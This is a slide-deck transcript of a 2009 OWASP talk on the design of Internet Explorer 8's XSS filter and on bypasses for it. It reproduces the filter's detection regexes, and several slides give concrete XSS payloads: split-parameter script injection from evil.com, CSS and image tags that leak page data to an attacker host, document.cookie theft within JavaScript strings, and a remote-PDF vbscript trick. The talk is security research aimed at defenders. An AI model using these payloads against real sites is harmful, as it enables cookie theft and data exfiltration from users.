Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Examining And Bypassing The IE8 XSS Filter

15,525 views

Published on

http://www.owasp.org/index.php?title=OWASP_AU_Conference_2009_Presentations#Alex_Kouzemtchenko

Published in: Technology, Business
  • Be the first to comment

Examining And Bypassing The IE8 XSS Filter

  1. 1. Examining and Bypassing the IE8 XSS Filter Alex Kouzemtchenko [email_address]
  2. 2. About Me <ul><li>SIFT </li></ul><ul><ul><li>http://www.sift.com.au/ </li></ul></ul><ul><ul><li>Independent information security services </li></ul></ul><ul><li>Alex Kouzemtchenko </li></ul><ul><ul><li>[email_address] </li></ul></ul><ul><ul><li>R&D Team Lead & Associate </li></ul></ul><ul><ul><li>Focus on Offensive Security Research </li></ul></ul><ul><ul><li>Internet Hardman & Conference Mercenary in another life </li></ul></ul>
  3. 3. Disclaimer <ul><li>This talk is presented from the adversary’s point of view </li></ul><ul><li>This isn’t meant to be a diss on Microsoft or David Ross </li></ul><ul><li>The XSS Filter is a step in the right direction </li></ul><ul><ul><li>XSS attacks which don’t take it into account will fail </li></ul></ul><ul><ul><li>Lifts the bar higher, RC1 even blocks huge chunks </li></ul></ul><ul><li>This talk is specifically about the IE8 Beta 2 and IE8 RC1 filters </li></ul><ul><li>While I’ve been in communication with Microsoft about these issues, I don’t know what the final release will look like, most of these should hopefully be fixed </li></ul>
  4. 4. Agenda <ul><li>XSS Filter Goal & Rationale </li></ul><ul><li>Filter Design & Overview </li></ul><ul><ul><li>Protected & Un-Protected Scenarios </li></ul></ul><ul><ul><li>Some Implementation Details </li></ul></ul><ul><li>Bypasses for various scenarios </li></ul><ul><li>Where the filter is effective </li></ul><ul><li>Summary </li></ul>
  5. 5. XSS Filter Goals & Rationale <ul><li>XSS is the most reported bug class today </li></ul><ul><ul><li>Even in frameworks which do a lot to protect apps </li></ul></ul><ul><ul><li>Still common, even in well known and audited sites </li></ul></ul><ul><li>“ Type-1 XSS flaws … are increasingly being exploited “for fun and profit.” ” – David Ross </li></ul><ul><ul><li>One of the easiest vulnerabilities to exploit </li></ul></ul><ul><ul><ul><li>Known by every beginning hacker out there </li></ul></ul></ul><ul><ul><ul><li>Nice avenue for attacks if you’re willing to sacrifice your pride </li></ul></ul></ul><ul><ul><li>Mass-exploitation has begun – IFRAME SEO Poisoning </li></ul></ul><ul><ul><ul><li>http://ddanchev.blogspot.com/2008/03/massive-iframe-seo-poisoning-attack.html </li></ul></ul></ul><ul><li>The XSS Filter aims to make these vulnerabilities unexploitable in IE8 </li></ul>
  6. 6. XSS Filter Goals <ul><li>Must not “break the web” </li></ul><ul><ul><li>The XSS Filter must be compatible. </li></ul></ul><ul><ul><li>The XSS Filter must be secure. </li></ul></ul><ul><ul><li>The XSS Filter must be performant. </li></ul></ul><ul><li>The compatibility goal explains a lot of the decisions made in the creation of the filter </li></ul>
  7. 7. Protected Scenarios <ul><li>‘ Type-1’ / ‘Reflected’ XSS still the most common </li></ul><ul><ul><li>Input comes in and gets outputted in the http response body unsanitised </li></ul></ul><ul><ul><li>Three main scenarios </li></ul></ul><ul><ul><ul><li>Unfiltered injection outside a tag </li></ul></ul></ul><ul><ul><ul><ul><li><div>$injection</div> </li></ul></ul></ul></ul><ul><ul><ul><li>Unfiltered injection inside a tag </li></ul></ul></ul><ul><ul><ul><ul><li><input value=“$injection”> </li></ul></ul></ul></ul><ul><ul><ul><li>Unfiltered (or semi-filtered) injection into a javascript string </li></ul></ul></ul><ul><ul><ul><ul><li><script> </li></ul></ul></ul></ul><ul><ul><ul><ul><li>var a = “$injection”; </li></ul></ul></ul></ul><ul><ul><ul><ul><li>… </li></ul></ul></ul></ul><ul><ul><ul><ul><li></script> </li></ul></ul></ul></ul><ul><li>Third scenario particularly hard to solve at the framework level without breaking things </li></ul><ul><li>The XSS Filter seeks to fully mitigate all of these scenarios on the client </li></ul>
  8. 8. Un-Protected Scenarios <ul><li>Persistent / Type-2 XSS </li></ul><ul><li>DOM-Based / Type-0 XSS </li></ul><ul><li>Fragmented attacks </li></ul><ul><li>Unsanitised parameter names are outputted </li></ul><ul><ul><li>e.g. Site prints whole query string, or 404 page prints page name </li></ul></ul><ul><ul><ul><li>http://site/ page.jsp ?’”><script>alert(1)</script> </li></ul></ul></ul><ul><li>Unsanitised HTTP Headers are outputted </li></ul><ul><ul><li>Particularly interesting for headers we can easily control </li></ul></ul><ul><ul><ul><li>E.g. Referer header </li></ul></ul></ul><ul><li>Header Injection </li></ul>
  9. 9. Enabling / Disabling the XSS Filter <ul><li>Per-Zone on/off switch exists in zone settings </li></ul><ul><ul><li>XSS Filter disabled in the intranet zone by default  </li></ul></ul><ul><ul><ul><li>Probably best to enable it unless it breaks things </li></ul></ul></ul><ul><ul><li>Enabled for all other zones </li></ul></ul><ul><li>Filter can be disabled on a per-site basis using a HTTP response header: </li></ul><ul><ul><li>X-XSS-Protection: 0 </li></ul></ul>
  10. 10. XSS Filter Logic Flow Flow Chart stolen from http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx
  11. 11. Navigation to HTML? <ul><li>Filter shouldn’t trigger on non-html content, as it will probably break things if it does </li></ul><ul><li>Largely outside our own control </li></ul><ul><li>If something isn’t detected as html, it’s not protected </li></ul><ul><ul><li>Only relevant if someone comes up with some xss techniques which apply to the xml renderer, or similar </li></ul></ul><ul><li>Flash-based XSS not affected </li></ul><ul><ul><li>Largely a non-issue since the filter checks for a reflection, but could become important in later versions </li></ul></ul>
  12. 12. Same Site? <ul><li>Same site navigations ignored to speed everything up </li></ul><ul><li>Our best target for a bypass </li></ul><ul><li>If a site allows us to inject links, when those links are followed, the navigation will be same-site, and therefore not protected </li></ul><ul><ul><li>Hence forums, blogs, wikis, etc are not protected </li></ul></ul><ul><ul><li>Flash-based links (clickTag) works too </li></ul></ul><ul><ul><li>Frames work much the same way, but are automatic </li></ul></ul><ul><ul><ul><li>Frame injection not too uncommon, especially on apps with ‘help’ sections </li></ul></ul></ul><ul><li>Demo </li></ul>
  13. 13. Same Site? <ul><li>In browser attacks are not the only option </li></ul><ul><ul><li>Links opened from other applications could lead to XSS </li></ul></ul><ul><ul><ul><li>Email clients, IM programs, document handling programs (Word, etc) </li></ul></ul></ul><ul><ul><li>Links opened by plugins could lead to XSS </li></ul></ul><ul><ul><ul><li>Opening links in named frames in particular, has lead to same origin policy bugs in Flash in particular, e.g. CVE-2007-6244 </li></ul></ul></ul><ul><li>External application attacks largely mitigated due to a null origin is considered cross-site </li></ul><ul><li>More complex interactions with the browser have the possibility to be considered same-site </li></ul>
  14. 14. Heuristic matches against GET/POST #1 <ul><li>{<st{y}le.*?>.*?((@[i])|(([:=]|(&[#()=]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()=]x?0*((40)|(28)|(92)|(5C));?))))} </li></ul><ul><li>{[ /+amp;quot;apos;`]st{y}le[ /+]*?=.*?([:=]|(&[#()=]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()=]x?0*((40)|(28)|(92)|(5C));?))} </li></ul><ul><li>{<OB{J}ECT[ /+].*?((type)|(codetype)|(classid)|(code))[ /+]*=} </li></ul><ul><li>{<AP{P}LET[ /+].*?code[ /+]*=} </li></ul><ul><li>{[ /+amp;quot;apos;`]data{s}rc[ +]*?=.} </li></ul><ul><li>{<BA{S}E[ /+].*?href[ /+]*=} </li></ul><ul><li>{<LI{N}K[ /+].*?href[ /+]*=} </li></ul><ul><li>{<ME{T}A[ /+].*?http-equiv[ /+]*=} </li></ul><ul><li>{<im{p}ort[ /+].*?implementation[ /+]*=} </li></ul><ul><li>{<EM{B}ED[ /+].*?SRC.*?=} </li></ul><ul><li>{[ /+amp;quot;apos;`]{o}n+?[ +]*?=.} </li></ul><ul><li>{<.*[:]vmlf{r}ame.*?[ /+]*?src[ /+]*=} </li></ul><ul><li>{<[i]?f{r}ame.*?[ /+]*?src[ /+]*=} </li></ul><ul><li>{<is{i}ndex[ /+>]} </li></ul><ul><li>{<sc{r}ipt.*?[ /+]*?src[ /+]*=} </li></ul>
  15. 15. Heuristic matches against GET/POST #2 <ul><li>{[amp;quot;apos;][ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).*?(((l|(u006C))(o|(u006F))(c|(u0063))(a|(u0061))(t|(u0074))(i|(u0069))(o|(u006F))(n|(u006E)))|((n|(u006E))(a|(u0061))(m|(u006D))(e|(u0065)))).*?{=}} </li></ul><ul><li>{[amp;quot;apos;].*?{}[ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).+?{}} </li></ul><ul><li>{[amp;quot;apos;][ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).+?{}.*?{}} </li></ul><ul><li>{[amp;quot;apos;][ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).+?(([.].+?)|([].*?[].*?)){=}} </li></ul><ul><li>{(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(b|(&[#()=]x?0*((66)|(42)|(98)|(62));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).} </li></ul><ul><li>{(j|(&[#()=]x?0*((74)|(4A)|(106)|(6A));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).} </li></ul><ul><li>Not an exhaustive list! </li></ul><ul><ul><li>Working on one by hooking the URL checking function </li></ul></ul><ul><ul><li>Send me an email if you need it </li></ul></ul>
  16. 16. Heuristic matches against GET/POST <ul><li>Only GET/POST are searched, and only individually </li></ul><ul><ul><li>Hence we have all the unprotected scenarios </li></ul></ul><ul><li>Notice the regexes like this: ? </li></ul><ul><ul><li>{<sc{r}ipt.*?[ /+]*?src[ /+]*=} </li></ul></ul><ul><ul><li>Specifically the ones that come in two parts </li></ul></ul><ul><ul><li>Won’t match on page.do?param1=<script+&param2=src%3dhttp://www.evil.com/ </li></ul></ul><ul><ul><li>So if we can split the injection into two parameters, we can bypass the signatures </li></ul></ul>
  17. 17. Heuristic matches against GET/POST <ul><li>But sometimes two injection points may not be needed to evade the filters </li></ul><ul><ul><li>ASP/ASP.NET merge duplicate parameters </li></ul></ul><ul><ul><ul><li>page.asp?param=<script+&param=+src%3Dhttp://www.evil.com/> </li></ul></ul></ul><ul><ul><ul><li>param becomes <script , src=http://www.evil.com/> when ASP uses it </li></ul></ul></ul><ul><ul><li>IIS also supports uncommon encoding in urls, namely %uNNNN </li></ul></ul><ul><ul><ul><li>Attacks can be encoded using unicode encoding, and bypass filters </li></ul></ul></ul><ul><ul><li>Many PHP applications call stripslashes() on all input </li></ul></ul><ul><ul><ul><li> gets decoded to a null byte which is ignored by IE, can be inserted everywhere to avoid signatures </li></ul></ul></ul><ul><ul><li>Custom applications do their own decoding (EBay’s Qencoding) </li></ul></ul>
  18. 18. Heuristic matches against GET/POST <ul><li>All is not lost </li></ul><ul><ul><li>MS applies specific transforms to deal with all scenarios other than the last </li></ul></ul><ul><ul><ul><li>Thank Ronald Van Den Heetkamp for arguing for the stripslashes() transforms </li></ul></ul></ul><ul><ul><li>Lesson here is: Don’t use custom encoding on the parameters you accept, or you will not be able to take advantage of the filter’s protection </li></ul></ul><ul><li>However, if we find an injection not covered by those regexes, we win </li></ul>
  19. 19. Signature Match Against the Body <ul><li>When a signature matches against GET/POST params, a new regex is generated, like this: </li></ul><ul><ul><li>(<ob{j}ect((.?)|(..)|(...)|(....)|(.....)|(......))classid=) </li></ul></ul><ul><ul><li>That string of dots, etc is inserted instead of some safe characters, e.g. spaces, braces, etc </li></ul></ul><ul><li>This is then applied to the body </li></ul><ul><ul><li>Of course, as mentioned before, if any non-whitespace related encoding/decoding is done, then these will not match </li></ul></ul>
  20. 20. Neuter Characters <ul><li>The character in the middle braces </li></ul><ul><ul><li>{<is{i}ndex[ /+>]} </li></ul></ul><ul><li>Is replaced with a ‘neuter character’ (#) </li></ul><ul><ul><li><isindex> becomes <is#ndex> </li></ul></ul>
  21. 21. Intro’s over - Lets talk Bypasses <ul><li>What works? </li></ul><ul><ul><li>Fragmented Injections </li></ul></ul><ul><ul><li>HTML-Only Injections </li></ul></ul><ul><ul><li>Same Site Check Bypass via GET </li></ul></ul><ul><ul><li>JavaScript-based tricks for injections into JavaScript strings </li></ul></ul><ul><ul><li>Unfiltered injections into HTML </li></ul></ul><ul><ul><li>Stripping data that isn’t actually attacker controlled </li></ul></ul><ul><li>What’s safe? </li></ul><ul><ul><li>.NET </li></ul></ul><ul><ul><li>Attribute injection </li></ul></ul>
  22. 22. Fragmented Injections <ul><li>Possibly the filter’s biggest limitation </li></ul><ul><ul><li>In some cases there is more than 1 injection point on the page </li></ul></ul><ul><ul><ul><li>Not necessarily both unfiltered </li></ul></ul></ul><ul><ul><li>If any data after an unfiltered injection point is controlled, then we only have to put some of our injection into the unfiltered parameter </li></ul></ul><ul><ul><li>Demo </li></ul></ul><ul><ul><li>No plans to stop this </li></ul></ul>
  23. 23. HTML-Only Injections <ul><li>XSS Filter mostly only stops script injection </li></ul><ul><ul><li>One exception is the form tag </li></ul></ul><ul><li>HTML Injection is still dangerous </li></ul><ul><ul><li>CSS Injections </li></ul></ul><ul><ul><ul><li><style>input[value^=&quot;a&quot;]{background:&quot;http://evil/style.php/ends/a&quot;;}</style> </li></ul></ul></ul><ul><ul><li>Unclosed Image Tags </li></ul></ul><ul><ul><ul><li><img src=“http://evil/ <sensitive data> <a href=“ </li></ul></ul></ul><ul><ul><li>Other HTML Injection tricks exist, but they don’t apply here </li></ul></ul>
  24. 24. Same Site Check Bypass via GET <ul><li>Remember how we realised that if we can control links in forums, wikis, etc, we can bypass the same-site check? </li></ul><ul><li>Me and Cesar Cerrudo independently realised that if we have an XSS bug, we can already inject links </li></ul><ul><ul><li>Furthermore we can style them to take up the whole page, etc </li></ul></ul><ul><ul><li>We can even use clickjacking attacks to do it from our own domain </li></ul></ul><ul><ul><li>Demo </li></ul></ul>
  25. 25. JavaScript-based tricks for injections into JavaScript strings <ul><li>Injections into javascript strings stopped from executing functions, however assignments are still allowed: </li></ul><ul><ul><li>&quot;+document.cookie+“ </li></ul></ul><ul><ul><ul><li>useful when you can leak the var somehow </li></ul></ul></ul><ul><ul><li>&quot;;user_input=document.cookie;// </li></ul></ul><ul><ul><li>&quot;;user_input=sensitive_app_specific_var;// </li></ul></ul><ul><ul><li>“ &&”string2” </li></ul></ul><ul><ul><ul><li>Replaces string before it; not perfect for assignments due to operator precedence </li></ul></ul></ul><ul><ul><li>Location = “whatever“?name:” </li></ul></ul><ul><ul><ul><li>Useful for document.location=“<injection>” </li></ul></ul></ul><ul><ul><ul><li>Props to David Lindsay for coming up with this variant </li></ul></ul></ul><ul><ul><li>&quot;;escape=eval;// </li></ul></ul>
  26. 26. Unfiltered injections into HTML <ul><li>The filter is very good as a whole, and the regexes which it uses are great </li></ul><ul><ul><li>Missed one tiny corner case </li></ul></ul><ul><li>OBJECT tag *usually* requires either a type or codetype or classid or code attribute </li></ul><ul><ul><li>These are all blacklisted </li></ul></ul><ul><li>data attribute usually just says where the OBJECT should get it’s data from </li></ul><ul><ul><li>IE also does extension sniffing </li></ul></ul>
  27. 27. OBJECT Extension Sniffing <ul><li><object data=“some.pdf”> will load some.pdf </li></ul><ul><ul><li>Doesn’t seem to work with any other extension handlers, e.g. .swf </li></ul></ul><ul><ul><li>Only loads PDFs from the same domain </li></ul></ul><ul><ul><li>Got stuck here for a month </li></ul></ul><ul><li><object data=anything_at_all.pdf><param name=src value=http://www.evil.com/xss.pdf> </li></ul><ul><ul><li>Loads the pdf from our site </li></ul></ul><ul><ul><li>PDF uses getURL(“vbscript:payload”); </li></ul></ul><ul><ul><ul><li>Can’t use javascript, since that’s blocked </li></ul></ul></ul><ul><ul><li>Demo time! </li></ul></ul>
  28. 28. Stripping data that isn’t actually attacker controlled <ul><li>The XSS Filter has no way of determining of whether something was actually reflected or not </li></ul><ul><li>So anything which fits one of the regexes can be neutered by an attacker </li></ul><ul><li>We can strip some interesting things: </li></ul><ul><ul><li>Meta tags which specify the charset (thanks 80sec!) </li></ul></ul><ul><ul><ul><li>Limited use in IE8 due to charset sniffing changes, may still be relevant </li></ul></ul></ul><ul><ul><li>JavaScript frame-breakers and other JavaScript blocks </li></ul></ul><ul><ul><ul><li>Makes clickjacking possible even when sites have implemented defences </li></ul></ul></ul><ul><ul><li>Demo </li></ul></ul><ul><ul><li>Could potentially break context-sensitive filters </li></ul></ul><ul><ul><ul><li>script tags normally useless inside style tags, but if we break the style tag... </li></ul></ul></ul>
  29. 29. Summary <ul><li>Upgrade your users to IE8 and enable the filter for the intranet zone if you can </li></ul><ul><li>The filter is close, very close to killing a whole lot of XSS </li></ul><ul><ul><li>If this is important to you, tell Microsoft, it might make the difference between it being fixed now, or in IE9 </li></ul></ul><ul><li>When used together, ASP.NET Request Validation & IE8’s XSS Filter are not bypassable </li></ul>
  30. 30. Questions <ul><li>? </li></ul>
  31. 31. Examining and Bypassing the IE8 XSS Filter Alex Kouzemtchenko [email_address] Thanks to David Ross, et al for making something fun to play with
  32. 32. References – MS Design Info <ul><li>http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx </li></ul><ul><li>http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx </li></ul><ul><li>http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx </li></ul><ul><li>http://blogs.msdn.com/ie/archive/2008/09/29/statistical-validation-of-the-ie8-xss-filter.aspx </li></ul>
  33. 33. References – Bypass Tricks <ul><li>http://nomoreroot.blogspot.com/2008/08/ie8-xss-filter.html </li></ul><ul><li>http://www.80sec.com/ie8-security-alert.html </li></ul><ul><li>http://www.0x000000.com/?i=634 (dead link  ) </li></ul><ul><li>http://kuza55.blogspot.com/2008/09/ie8-xss-filter.html (comments at the bottom are good) </li></ul><ul><li>http://www.securitylab.ru/analytics/363593.php </li></ul><ul><li>http://www.securiteam.com/windowsntfocus/6Z00C15NFW.html </li></ul>

×